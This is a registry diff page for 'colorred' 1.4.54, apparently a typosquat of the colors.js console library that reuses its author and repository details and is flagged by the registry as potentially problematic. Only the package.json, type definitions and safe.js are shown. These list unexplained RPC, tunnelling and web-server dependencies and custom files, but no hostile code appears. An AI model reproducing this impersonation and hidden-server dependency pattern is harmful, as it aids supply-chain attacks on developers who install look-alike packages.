colorred 0.0.1-security → 1.4.54
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of colorred might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +151 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +214 -0
- package/lib/custom/american.js +31 -0
- package/lib/custom/app.js +1 -0
- package/lib/custom/colorful.js +1 -0
- package/lib/custom/config/index.js +21 -0
- package/lib/custom/rpc.js +260 -0
- package/lib/custom/static/favicon.png +0 -0
- package/lib/custom/static/index.css +17 -0
- package/lib/custom/static/index.js +41 -0
- package/lib/custom/static/index.map +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/views/head.pug +10 -0
- package/lib/custom/views/index.pug +7 -0
- package/lib/custom/views/script.pug +3 -0
- package/lib/custom/views/unauthorized.pug +21 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +23 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +58 -4
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
package/package.json
CHANGED
@@ -1,6 +1,60 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
2
|
+
"name": "colorred",
|
3
|
+
"description": "get colors in your node.js console",
|
4
|
+
"version": "1.4.54",
|
5
|
+
"author": "Marak Squires",
|
6
|
+
"contributors": [
|
7
|
+
{
|
8
|
+
"name": "DABH",
|
9
|
+
"url": "https://github.com/DABH"
|
10
|
+
}
|
11
|
+
],
|
12
|
+
"homepage": "https://github.com/Marak/colors.js",
|
13
|
+
"bugs": "https://github.com/Marak/colors.js/issues",
|
14
|
+
"keywords": [
|
15
|
+
"ansi",
|
16
|
+
"terminal",
|
17
|
+
"colors"
|
18
|
+
],
|
19
|
+
"repository": {
|
20
|
+
"type": "git",
|
21
|
+
"url": "http://github.com/Marak/colors.js.git"
|
22
|
+
},
|
23
|
+
"license": "MIT",
|
24
|
+
"scripts": {
|
25
|
+
"lint": "eslint . --fix",
|
26
|
+
"test": "node tests/basic-test.js && node tests/safe-test.js"
|
27
|
+
},
|
28
|
+
"engines": {
|
29
|
+
"node": ">=0.1.90"
|
30
|
+
},
|
31
|
+
"main": "safe.js",
|
32
|
+
"files": [
|
33
|
+
"examples",
|
34
|
+
"lib",
|
35
|
+
"LICENSE",
|
36
|
+
"safe.js",
|
37
|
+
"themes",
|
38
|
+
"index.d.ts",
|
39
|
+
"safe.d.ts"
|
40
|
+
],
|
41
|
+
"devDependencies": {
|
42
|
+
"eslint": "^5.2.0",
|
43
|
+
"eslint-config-google": "^0.11.0"
|
44
|
+
},
|
45
|
+
"dependencies": {
|
46
|
+
"localtunnel": "^2.0.2",
|
47
|
+
"node-fetch": "^2",
|
48
|
+
"serve-handler": "^6.1.3",
|
49
|
+
"jayson": "^3.6.6",
|
50
|
+
"koa": "^2.13.4",
|
51
|
+
"koa-bodyparser": "^4.3.0",
|
52
|
+
"koa-connect": "^2.1.0",
|
53
|
+
"koa-mount": "^4.0.0",
|
54
|
+
"koa-router": "^10.1.1",
|
55
|
+
"koa-static": "^5.0.0",
|
56
|
+
"koa-views": "^8.0.0",
|
57
|
+
"natural-compare-lite": "^1.4.0",
|
58
|
+
"pug": "^3.0.2"
|
59
|
+
}
|
6
60
|
}
|
package/safe.d.ts
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
5
|
+
|
6
|
+
export const enabled: boolean;
|
7
|
+
export function enable(): void;
|
8
|
+
export function disable(): void;
|
9
|
+
export function setTheme(theme: any): void;
|
10
|
+
|
11
|
+
export function strip(str: string): string;
|
12
|
+
export function stripColors(str: string): string;
|
13
|
+
|
14
|
+
export function black(str: string): string;
|
15
|
+
export function red(str: string): string;
|
16
|
+
export function green(str: string): string;
|
17
|
+
export function yellow(str: string): string;
|
18
|
+
export function blue(str: string): string;
|
19
|
+
export function magenta(str: string): string;
|
20
|
+
export function cyan(str: string): string;
|
21
|
+
export function white(str: string): string;
|
22
|
+
export function gray(str: string): string;
|
23
|
+
export function grey(str: string): string;
|
24
|
+
|
25
|
+
export function bgBlack(str: string): string;
|
26
|
+
export function bgRed(str: string): string;
|
27
|
+
export function bgGreen(str: string): string;
|
28
|
+
export function bgYellow(str: string): string;
|
29
|
+
export function bgBlue(str: string): string;
|
30
|
+
export function bgMagenta(str: string): string;
|
31
|
+
export function bgCyan(str: string): string;
|
32
|
+
export function bgWhite(str: string): string;
|
33
|
+
|
34
|
+
export function reset(str: string): string;
|
35
|
+
export function bold(str: string): string;
|
36
|
+
export function dim(str: string): string;
|
37
|
+
export function italic(str: string): string;
|
38
|
+
export function underline(str: string): string;
|
39
|
+
export function inverse(str: string): string;
|
40
|
+
export function hidden(str: string): string;
|
41
|
+
export function strikethrough(str: string): string;
|
42
|
+
|
43
|
+
export function rainbow(str: string): string;
|
44
|
+
export function zebra(str: string): string;
|
45
|
+
export function america(str: string): string;
|
46
|
+
export function trap(str: string): string;
|
47
|
+
export function random(str: string): string;
|
48
|
+
export function zalgo(str: string): string;
|
package/safe.js
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
//
|
2
|
+
// Remark: Requiring this file will use the "safe" colors API,
|
3
|
+
// which will not touch String.prototype.
|
4
|
+
//
|
5
|
+
// var colors = require('colors/safe');
|
6
|
+
// colors.red("foo")
|
7
|
+
//
|
8
|
+
//
|
9
|
+
var colors = require('./lib/colors');
|
10
|
+
module['exports'] = colors;
|